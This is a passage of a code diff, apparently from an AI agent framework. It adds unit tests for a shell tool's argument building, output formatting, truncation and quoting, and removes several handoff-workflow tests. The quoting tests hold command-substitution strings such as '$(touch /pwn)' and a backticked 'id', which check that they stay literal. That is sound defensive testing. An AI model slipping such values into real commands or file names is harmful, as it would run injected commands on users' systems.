+    [InlineData("/usr/bin/zsh")]
+    [InlineData("/bin/ksh")]
+    public void ShVariants_PersistentArgv_OmitBashOnlyFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).PersistentArgv();
+
+        Assert.Empty(argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/bash")]
+    [InlineData("/usr/local/bin/bash")]
+    public void BashVariants_StatelessArgv_IncludeBashFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).StatelessArgvForCommand("echo hi");
+
+        Assert.Equal(s_bashCommandArgv, argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/bash")]
+    [InlineData("/usr/local/bin/bash")]
+    public void BashVariants_PersistentArgv_IncludeBashFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).PersistentArgv();
+
+        Assert.Equal(s_bashPersistentArgv, argv);
+    }
+}
@@ -0,0 +1,71 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Branch coverage for <see cref="ShellResult.FormatForModel"/>. The output of
+/// this method is what the language model sees, so regressions directly
+/// affect agent behavior.
+/// </summary>
+public sealed class ShellResultTests
+{
+    [Fact]
+    public void FormatForModel_Success_IncludesStdoutAndExitCode()
+    {
+        var r = new ShellResult("hello\n", string.Empty, 0, TimeSpan.FromMilliseconds(5));
+        var s = r.FormatForModel();
+        Assert.Contains("hello", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 0", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("stderr:", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("[stdout truncated]", s, StringComparison.Ordinal);
+        Assert.DoesNotContain("[command timed out]", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_EmptyStdout_OmitsStdoutBlock()
+    {
+        var r = new ShellResult(string.Empty, string.Empty, 0, TimeSpan.Zero);
+        var s = r.FormatForModel();
+        // No stdout block, no stderr block — just the exit code line.
+        Assert.Equal("exit_code: 0", s);
+    }
+
+    [Fact]
+    public void FormatForModel_NonEmptyStderr_IncludesStderrLabel()
+    {
+        var r = new ShellResult(string.Empty, "boom\n", 1, TimeSpan.Zero);
+        var s = r.FormatForModel();
+        Assert.Contains("stderr: boom", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 1", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_Truncated_AppendsTruncatedMarker()
+    {
+        var r = new ShellResult("partial-output", string.Empty, 0, TimeSpan.Zero, Truncated: true);
+        var s = r.FormatForModel();
+        Assert.Contains("[stdout truncated]", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_TimedOut_AppendsTimedOutMarker()
+    {
+        var r = new ShellResult(string.Empty, string.Empty, 124, TimeSpan.FromSeconds(30), TimedOut: true);
+        var s = r.FormatForModel();
+        Assert.Contains("[command timed out]", s, StringComparison.Ordinal);
+        Assert.Contains("exit_code: 124", s, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FormatForModel_TruncatedButEmptyStdout_DoesNotEmitMarker()
+    {
+        // Marker is only emitted inside the stdout block; with empty stdout
+        // there's no block to attach it to.
+        var r = new ShellResult(string.Empty, "err\n", 1, TimeSpan.Zero, Truncated: true);
+        var s = r.FormatForModel();
+        Assert.DoesNotContain("[stdout truncated]", s, StringComparison.Ordinal);
+        Assert.Contains("stderr: err", s, StringComparison.Ordinal);
+    }
+}
@@ -0,0 +1,141 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Direct coverage for <see cref="ShellSession.TruncateHeadTail"/> (internal,
+/// reachable via InternalsVisibleTo). The function is on the hot path for
+/// every shell command — both LocalShellExecutor and DockerShellExecutor feed
+/// captured stdout/stderr through it before returning.
+/// </summary>
+public sealed class ShellSessionTests
+{
+    [Fact]
+    public void QuotePosix_NoSpecialChars_WrapsInSingleQuotes()
+    {
+        Assert.Equal("'/tmp/work'", ShellSession.QuotePosix("/tmp/work"));
+    }
+
+    [Fact]
+    public void QuotePosix_DollarBacktickAndCommandSubstitution_ProducesLiteralString()
+    {
+        // The whole point: these substrings must NOT be interpreted by sh.
+        Assert.Equal("'/tmp/$(touch /pwn)'", ShellSession.QuotePosix("/tmp/$(touch /pwn)"));
+        Assert.Equal("'/tmp/$VAR'", ShellSession.QuotePosix("/tmp/$VAR"));
+        Assert.Equal("'/tmp/`id`'", ShellSession.QuotePosix("/tmp/`id`"));
+    }
+
+    [Fact]
+    public void QuotePosix_EmbeddedSingleQuote_ClosesAndReopens()
+    {
+        // POSIX: single-quoted strings cannot contain a single quote, so we close,
+        // emit an escaped quote, and reopen: a' -> 'a'\''b' -> a'b literal.
+        Assert.Equal("'a'\\''b'", ShellSession.QuotePosix("a'b"));
+    }
+
+    [Fact]
+    public void QuotePowerShell_DollarAndSubexpression_ProducesLiteralString()
+    {
+        Assert.Equal("'C:\\$(throw)'", ShellSession.QuotePowerShell("C:\\$(throw)"));
+        Assert.Equal("'C:\\$env:PATH'", ShellSession.QuotePowerShell("C:\\$env:PATH"));
+    }
+
+    [Fact]
+    public void QuotePowerShell_EmbeddedSingleQuote_DoublesIt()
+    {
+        // PowerShell: 'a''b' is the literal string a'b.
+        Assert.Equal("'a''b'", ShellSession.QuotePowerShell("a'b"));
+    }
+
+    [Fact]
+    public void TruncateHeadTail_UnderCap_ReturnsInputUnchanged()
+    {
+        const string Input = "short";
+        var (text, truncated) = ShellSession.TruncateHeadTail(Input, cap: 1024);
+        Assert.Equal(Input, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_ExactlyAtCap_ReturnsInputUnchanged()
+    {
+        var input = new string('x', 100);
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 100);
+        Assert.Equal(input, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_OverCap_TruncatesAndIncludesMarker()
+    {
+        var input = "HEAD" + new string('x', 1000) + "TAIL";
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 20);
+        Assert.True(truncated);
+        Assert.Contains("[... truncated", text, StringComparison.Ordinal);
+        Assert.Contains("HEAD", text, StringComparison.Ordinal);
+        Assert.Contains("TAIL", text, StringComparison.Ordinal);
+        // Truncated output is roughly cap + marker chars; confirm it's much
+        // smaller than the input.
+        Assert.True(text.Length < input.Length);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_EmptyString_ReturnsEmpty()
+    {
+        var (text, truncated) = ShellSession.TruncateHeadTail(string.Empty, cap: 10);
+        Assert.Equal(string.Empty, text);
+        Assert.False(truncated);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_MultiByteUtf8_RespectsByteBudgetAndRuneBoundaries()
+    {
+        // Each "🔥" is 4 UTF-8 bytes (and 2 UTF-16 code units). 50 of them = 200 bytes.
+        var input = string.Concat(System.Linq.Enumerable.Repeat("🔥", 50));
+        Assert.Equal(200, System.Text.Encoding.UTF8.GetByteCount(input));
+
+        var (text, truncated) = ShellSession.TruncateHeadTail(input, cap: 40);
+
+        Assert.True(truncated);
+
+        // Result must round-trip through UTF-8 unchanged: no rune was split.
+        var roundTripped = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, roundTripped);
+
+        // The retained head + tail content must not exceed the byte budget.
+        // (The marker line is appended on top of that budget, by design.)
+        var marker = text[text.IndexOf('\n', StringComparison.Ordinal)..text.LastIndexOf('\n')];
+        var preserved = text.Replace(marker, string.Empty, StringComparison.Ordinal).Replace("\n", string.Empty, StringComparison.Ordinal);
+        Assert.True(System.Text.Encoding.UTF8.GetByteCount(preserved) <= 40);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_NonAsciiAtBoundary_DoesNotProduceReplacementChar()
+    {
+        // 4-byte UTF-8 emoji surrounded by ASCII; cap chosen so naive char-based
+        // truncation would have split a surrogate pair. The new implementation
+        // must skip the rune that doesn't fit instead of emitting U+FFFD.
+        const string Input = "AAAA🔥BBBBCCCC🔥DDDD";
+        var (text, _) = ShellSession.TruncateHeadTail(Input, cap: 8);
+
+        Assert.DoesNotContain("\uFFFD", text);
+    }
+
+    [Fact]
+    public void TruncateHeadTail_UnpairedHighSurrogate_DoesNotMisalignByteCount()
+    {
+        // An unpaired high surrogate (no following low surrogate) used to make the
+        // prefix walker advance by 2 chars and miscount bytes. Verify that the
+        // function completes, returns a sensible result, and respects the cap.
+        var input = "AAAA" + new string('\uD83D', 1) + "BBBB"; // lone high surrogate
+        var (text, _) = ShellSession.TruncateHeadTail(input, cap: 6);
+
+        // The encoder substitutes U+FFFD for the unpaired surrogate when emitting bytes,
+        // so we just check that the call did not overrun and produced a result that
+        // round-trips through UTF-8.
+        var rt = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, rt);
+    }
+}
@@ -14,7 +14,7 @@ namespace Microsoft.Agents.AI.Workflows.Declarative.IntegrationTests;
 public sealed class DeclarativeCodeGenTest(ITestOutputHelper output) : WorkflowTest(output)
 {
    [Theory]
-    [InlineData("CheckSystem.yaml", "CheckSystem.json", Skip = "Temporarily skipped")]
+    [InlineData("CheckSystem.yaml", "CheckSystem.json")]
    [InlineData("SendActivity.yaml", "SendActivity.json")]
    [InlineData("InvokeAgent.yaml", "InvokeAgent.json")]
    [InlineData("InvokeAgent.yaml", "InvokeAgent.json", true)]
@@ -15,7 +15,7 @@ namespace Microsoft.Agents.AI.Workflows.Declarative.IntegrationTests;
 public sealed class DeclarativeWorkflowTest(ITestOutputHelper output) : WorkflowTest(output)
 {
    [Theory]
-    [InlineData("CheckSystem.yaml", "CheckSystem.json", Skip = "Temporarily skipped")]
+    [InlineData("CheckSystem.yaml", "CheckSystem.json")]
    [InlineData("ConversationMessages.yaml", "ConversationMessages.json")]
    [InlineData("ConversationMessages.yaml", "ConversationMessages.json", true)]
    [InlineData("InputArguments.yaml", "InputArguments.json")]
@@ -10,7 +10,10 @@
    "conversation_count": 1,
    "min_action_count": 2,
    "max_action_count": -1,
-    "min_response_count": 0,
+    "min_response_count": 1,
+    "max_response_count": 1,
+    "min_message_count": 0,
+    "max_message_count": 0,
    "actions": {
      "start": [
        "check_system"
@@ -3,18 +3,14 @@
 using System;
 using System.Collections.Generic;
 using System.Linq;
-using System.Reflection;
 using System.Runtime.CompilerServices;
 using System.Text;
 using System.Text.Json;
 using System.Text.RegularExpressions;
 using System.Threading;
 using System.Threading.Tasks;
-using FluentAssertions;
 using Microsoft.Agents.AI.Workflows.InProc;
-using Microsoft.Agents.AI.Workflows.Specialized;
 using Microsoft.Extensions.AI;
-using Microsoft.Extensions.Logging;

 #pragma warning disable SYSLIB1045 // Use GeneratedRegex
 #pragma warning disable RCS1186 // Use Regex instance instead of static method
@@ -36,72 +32,6 @@ public class AgentWorkflowBuilderTests
        Assert.Throws<ArgumentNullException>("agents", () => AgentWorkflowBuilder.BuildConcurrent(null!));
    }

-    [Fact]
-    public void BuildHandoffs_InvalidArguments_Throws()
-    {
-        Assert.Throws<ArgumentNullException>("initialAgent", () => AgentWorkflowBuilder.CreateHandoffBuilderWith(null!));
-
-        var agent = new DoubleEchoAgent("agent");
-        var handoffs = AgentWorkflowBuilder.CreateHandoffBuilderWith(agent);
-        Assert.NotNull(handoffs);
-
-        Assert.Throws<ArgumentNullException>("from", () => handoffs.WithHandoff(null!, new DoubleEchoAgent("a2")));
-        Assert.Throws<ArgumentNullException>("to", () => handoffs.WithHandoff(new DoubleEchoAgent("a2"), null!));
-
-        Assert.Throws<ArgumentNullException>("from", () => handoffs.WithHandoffs(null!, new DoubleEchoAgent("a2")));
-        Assert.Throws<ArgumentNullException>("from", () => handoffs.WithHandoffs([null!], new DoubleEchoAgent("a2")));
-        Assert.Throws<ArgumentNullException>("to", () => handoffs.WithHandoffs(new DoubleEchoAgent("a2"), null!));
-        Assert.Throws<ArgumentNullException>("to", () => handoffs.WithHandoffs(new DoubleEchoAgent("a2"), [null!]));
-
-        var noDescriptionAgent = new ChatClientAgent(new MockChatClient(delegate { return new(); }));
-        Assert.Throws<ArgumentException>("to", () => handoffs.WithHandoff(agent, noDescriptionAgent));
-
-        var emptyDescriptionAgent = new MockChatClient(delegate { return new(); }).AsAIAgent(description: "");
-        Assert.Throws<ArgumentException>("to", () => handoffs.WithHandoff(agent, emptyDescriptionAgent));
-
-        var emptyNameAgent = new MockChatClient(delegate { return new(); }).AsAIAgent(name: "");
-        Assert.Throws<ArgumentException>("to", () => handoffs.WithHandoff(agent, emptyNameAgent));
-    }
-
-    private sealed class NullLogger : ILogger
-    {
-        public IDisposable? BeginScope<TState>(TState state) where TState : notnull
-        {
-            return null;
-        }
-
-        public bool IsEnabled(LogLevel logLevel)
-        {
-            return false;
-        }
-
-        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
-        {
-        }
-    }
-
-    [Fact]
-    public void BuildHandoffs_DelegatingAIAgent_DoesNotThrow()
-    {
-        DoubleEchoAgent agent = new("agent");
-        HandoffWorkflowBuilder handoffs = AgentWorkflowBuilder.CreateHandoffBuilderWith(agent);
-        Assert.NotNull(handoffs);
-
-        ChatClientAgent instructionsOnlyAgent = new MockChatClient(delegate { return new(); }).AsAIAgent(instructions: "instructions");
-        LoggingAgent delegatingAgent = new(instructionsOnlyAgent, new NullLogger());
-
-        handoffs.WithHandoff(agent, delegatingAgent);
-
-        // get the _targets field from the HandoffWorkflowBuilder (need to use the base type)
-        FieldInfo field = typeof(HandoffWorkflowBuilder).BaseType!.GetField("_targets", BindingFlags.Instance | BindingFlags.NonPublic)!;
-        Dictionary<AIAgent, HashSet<HandoffTarget>>? targets = field.GetValue(handoffs) as Dictionary<AIAgent, HashSet<HandoffTarget>>;
-
-        targets.Should().NotBeNull();
-
-        HandoffTarget target = targets[agent].Single();
-        target.Reason.Should().Be("instructions");
-    }
-
    [Fact]
    public void BuildGroupChat_InvalidArguments_Throws()
    {
@@ -287,628 +217,6 @@ public class AgentWorkflowBuilderTests
        }
    }

-    [Fact]
-    public async Task Handoffs_NoTransfers_ResponseServedByOriginalAgentAsync()
-    {
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            ChatMessage message = Assert.Single(messages);
-            Assert.Equal("abc", Assert.IsType<TextContent>(Assert.Single(message.Contents)).Text);
-
-            return new(new ChatMessage(ChatRole.Assistant, "Hello from agent1"));
-        }));
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, new ChatClientAgent(new MockChatClient(delegate
-            {
-                Assert.Fail("Should never be invoked.");
-                return new();
-            }), description: "nop"))
-            .Build();
-
-        (string updateText, List<ChatMessage>? result, _, _) = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "abc")]);
-
-        Assert.Equal("Hello from agent1", updateText);
-        Assert.NotNull(result);
-
-        Assert.Equal(2, result.Count);
-
-        Assert.Equal(ChatRole.User, result[0].Role);
-        Assert.Equal("abc", result[0].Text);
-
-        Assert.Equal(ChatRole.Assistant, result[1].Role);
-        Assert.Equal("Hello from agent1", result[1].Text);
-    }
-
-    [Fact]
-    public async Task Handoffs_OneTransfer_ResponseServedBySecondAgentAsync()
-    {
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            ChatMessage message = Assert.Single(messages);
-            Assert.Equal("abc", Assert.IsType<TextContent>(Assert.Single(message.Contents)).Text);
-
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var nextAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-            new(new ChatMessage(ChatRole.Assistant, "Hello from agent2"))),
-            name: "nextAgent",
-            description: "The second agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, nextAgent)
-            .Build();
-
-        (string updateText, List<ChatMessage>? result, _, _) = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "abc")]);
-
-        Assert.Equal("Hello from agent2", updateText);
-        Assert.NotNull(result);
-
-        Assert.Equal(4, result.Count);
-
-        Assert.Equal(ChatRole.User, result[0].Role);
-        Assert.Equal("abc", result[0].Text);
-
-        Assert.Equal(ChatRole.Assistant, result[1].Role);
-        Assert.Equal("", result[1].Text);
-        Assert.Contains("initialAgent", result[1].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[2].Role);
-        Assert.Contains("initialAgent", result[2].AuthorName);
-
-        Assert.Equal(ChatRole.Assistant, result[3].Role);
-        Assert.Equal("Hello from agent2", result[3].Text);
-        Assert.Contains("nextAgent", result[3].AuthorName);
-    }
-
-    [Fact]
-    public async Task Handoffs_OneTransfer_HandoffTargetDoesNotReceiveHandoffFunctionMessagesAsync()
-    {
-        // Regression test for https://github.com/microsoft/agent-framework/issues/3161
-        // When a handoff occurs, the target agent should receive the original user message
-        // but should NOT receive the handoff function call or tool result messages from the
-        // source agent, as these confuse the target LLM into ignoring the user's question.
-
-        List<ChatMessage>? capturedNextAgentMessages = null;
-
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var nextAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedNextAgentMessages = messages.ToList();
-            return new(new ChatMessage(ChatRole.Assistant, "The derivative of x^2 is 2x."));
-        }),
-            name: "nextAgent",
-            description: "The second agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, nextAgent)
-            .Build();
-
-        _ = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "What is the derivative of x^2?")]);
-
-        Assert.NotNull(capturedNextAgentMessages);
-
-        // The target agent should see the original user message
-        Assert.Contains(capturedNextAgentMessages, m => m.Role == ChatRole.User && m.Text == "What is the derivative of x^2?");
-
-        // The target agent should NOT see the handoff function call or tool result from the source agent
-        Assert.DoesNotContain(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name.StartsWith("handoff_to_", StringComparison.Ordinal)));
-        Assert.DoesNotContain(capturedNextAgentMessages, m => m.Role == ChatRole.Tool && m.Contents.Any(c => c is FunctionResultContent frc && frc.Result?.ToString() == "Transferred."));
-    }
-
-    [Fact]
-    public async Task Handoffs_TwoTransfers_HandoffTargetsDoNotReceiveHandoffFunctionMessagesAsync()
-    {
-        // Regression test for https://github.com/microsoft/agent-framework/issues/3161
-        // With two hops (initial -> second -> third), each target agent should receive the
-        // original user message and text responses from prior agents (as User role), but
-        // NOT any handoff function call or tool result messages.
-
-        List<ChatMessage>? capturedSecondAgentMessages = null;
-        List<ChatMessage>? capturedThirdAgentMessages = null;
-
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            // Return both a text message and a handoff function call
-            return new(new ChatMessage(ChatRole.Assistant, [new TextContent("Routing to second agent"), new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var secondAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedSecondAgentMessages = messages.ToList();
-
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            // Return both a text message and a handoff function call
-            return new(new ChatMessage(ChatRole.Assistant, [new TextContent("Routing to third agent"), new FunctionCallContent("call2", transferFuncName)]));
-        }), name: "secondAgent", description: "The second agent");
-
-        var thirdAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedThirdAgentMessages = messages.ToList();
-            return new(new ChatMessage(ChatRole.Assistant, "Hello from agent3"));
-        }),
-            name: "thirdAgent",
-            description: "The third / final agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, secondAgent)
-            .WithHandoff(secondAgent, thirdAgent)
-            .Build();
-
-        (string updateText, _, _, _) = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "abc")]);
-
-        Assert.Contains("Hello from agent3", updateText);
-
-        // Second agent should see the original user message and initialAgent's text as context
-        Assert.NotNull(capturedSecondAgentMessages);
-        Assert.Contains(capturedSecondAgentMessages, m => m.Text == "abc");
-        Assert.Contains(capturedSecondAgentMessages, m => m.Text!.Contains("Routing to second agent"));
-        Assert.DoesNotContain(capturedSecondAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name.StartsWith("handoff_to_", StringComparison.Ordinal)));
-        Assert.DoesNotContain(capturedSecondAgentMessages, m => m.Role == ChatRole.Tool && m.Contents.Any(c => c is FunctionResultContent));
-
-        // Third agent should see the original user message and both prior agents' text as context
-        Assert.NotNull(capturedThirdAgentMessages);
-        Assert.Contains(capturedThirdAgentMessages, m => m.Text == "abc");
-        Assert.Contains(capturedThirdAgentMessages, m => m.Text!.Contains("Routing to second agent"));
-        Assert.Contains(capturedThirdAgentMessages, m => m.Text!.Contains("Routing to third agent"));
-        Assert.DoesNotContain(capturedThirdAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name.StartsWith("handoff_to_", StringComparison.Ordinal)));
-        Assert.DoesNotContain(capturedThirdAgentMessages, m => m.Role == ChatRole.Tool && m.Contents.Any(c => c is FunctionResultContent));
-    }
-
-    [Fact]
-    public async Task Handoffs_FilteringNone_HandoffTargetReceivesAllMessagesIncludingToolCallsAsync()
-    {
-        // With filtering set to None, the target agent should see everything including
-        // handoff function calls and tool results.
-
-        List<ChatMessage>? capturedNextAgentMessages = null;
-
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var nextAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedNextAgentMessages = messages.ToList();
-            return new(new ChatMessage(ChatRole.Assistant, "response"));
-        }),
-            name: "nextAgent",
-            description: "The second agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, nextAgent)
-            .WithToolCallFilteringBehavior(HandoffToolCallFilteringBehavior.None)
-            .Build();
-
-        _ = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "hello")]);
-
-        Assert.NotNull(capturedNextAgentMessages);
-        Assert.Contains(capturedNextAgentMessages, m => m.Text == "hello");
-
-        // With None filtering, handoff function calls and tool results should be visible
-        Assert.Contains(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name.StartsWith("handoff_to_", StringComparison.Ordinal)));
-        Assert.Contains(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionResultContent));
-    }
-
-    [Fact]
-    public async Task Handoffs_FilteringAll_HandoffTargetDoesNotReceiveAnyToolCallsAsync()
-    {
-        // With filtering set to All, the target agent should see no function calls or tool
-        // results at all — not even non-handoff ones from prior conversation history.
-
-        List<ChatMessage>? capturedNextAgentMessages = null;
-
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new TextContent("Routing you now"), new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var nextAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedNextAgentMessages = messages.ToList();
-            return new(new ChatMessage(ChatRole.Assistant, "response"));
-        }),
-            name: "nextAgent",
-            description: "The second agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, nextAgent)
-            .WithToolCallFilteringBehavior(HandoffToolCallFilteringBehavior.All)
-            .Build();
-
-        // Input includes a pre-existing non-handoff tool call in the conversation history
-        List<ChatMessage> input =
-        [
-            new(ChatRole.User, "What's the weather? Also help me with math."),
-            new(ChatRole.Assistant, [new FunctionCallContent("toolcall1", "get_weather")]) { AuthorName = "initialAgent" },
-            new(ChatRole.Tool, [new FunctionResultContent("toolcall1", "sunny")]),
-            new(ChatRole.Assistant, "The weather is sunny. Now let me route your math question.") { AuthorName = "initialAgent" },
-        ];
-
-        _ = await RunWorkflowAsync(workflow, input);
-
-        Assert.NotNull(capturedNextAgentMessages);
-
-        // With All filtering, NO function calls or tool results should be visible
-        Assert.DoesNotContain(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent));
-        Assert.DoesNotContain(capturedNextAgentMessages, m => m.Role == ChatRole.Tool);
-
-        // But text content should still be visible
-        Assert.Contains(capturedNextAgentMessages, m => m.Text!.Contains("What's the weather"));
-        Assert.Contains(capturedNextAgentMessages, m => m.Text!.Contains("Routing you now"));
-    }
-
-    [Fact]
-    public async Task Handoffs_FilteringHandoffOnly_PreservesNonHandoffToolCallsAsync()
-    {
-        // With HandoffOnly filtering (the default), non-handoff function calls and tool
-        // results should be preserved while handoff ones are stripped.
-
-        List<ChatMessage>? capturedNextAgentMessages = null;
-
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var nextAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            capturedNextAgentMessages = messages.ToList();
-            return new(new ChatMessage(ChatRole.Assistant, "response"));
-        }),
-            name: "nextAgent",
-            description: "The second agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, nextAgent)
-            .WithToolCallFilteringBehavior(HandoffToolCallFilteringBehavior.HandoffOnly)
-            .Build();
-
-        // Input includes a pre-existing non-handoff tool call in the conversation history
-        List<ChatMessage> input =
-        [
-            new(ChatRole.User, "What's the weather? Also help me with math."),
-            new(ChatRole.Assistant, [new FunctionCallContent("toolcall1", "get_weather")]) { AuthorName = "initialAgent" },
-            new(ChatRole.Tool, [new FunctionResultContent("toolcall1", "sunny")]),
-            new(ChatRole.Assistant, "The weather is sunny. Now let me route your math question.") { AuthorName = "initialAgent" },
-        ];
-
-        _ = await RunWorkflowAsync(workflow, input);
-
-        Assert.NotNull(capturedNextAgentMessages);
-
-        // Handoff function calls and their tool results should be filtered
-        Assert.DoesNotContain(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name.StartsWith("handoff_to_", StringComparison.Ordinal)));
-
-        // Non-handoff function calls and their tool results should be preserved
-        Assert.Contains(capturedNextAgentMessages, m => m.Contents.Any(c => c is FunctionCallContent fcc && fcc.Name == "get_weather"));
-        Assert.Contains(capturedNextAgentMessages, m => m.Role == ChatRole.Tool && m.Contents.Any(c => c is FunctionResultContent frc && frc.CallId == "toolcall1"));
-    }
-
-    [Fact]
-    public async Task Handoffs_TwoTransfers_ResponseServedByThirdAgentAsync()
-    {
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            ChatMessage message = Assert.Single(messages);
-            Assert.Equal("abc", Assert.IsType<TextContent>(Assert.Single(message.Contents)).Text);
-
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            // Only a handoff function call.
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        var secondAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            // Second agent should receive the conversation so far (including previous assistant + tool messages eventually).
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call2", transferFuncName)]));
-        }), name: "secondAgent", description: "The second agent");
-
-        var thirdAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-            new(new ChatMessage(ChatRole.Assistant, "Hello from agent3"))),
-            name: "thirdAgent",
-            description: "The third / final agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, secondAgent)
-            .WithHandoff(secondAgent, thirdAgent)
-            .Build();
-
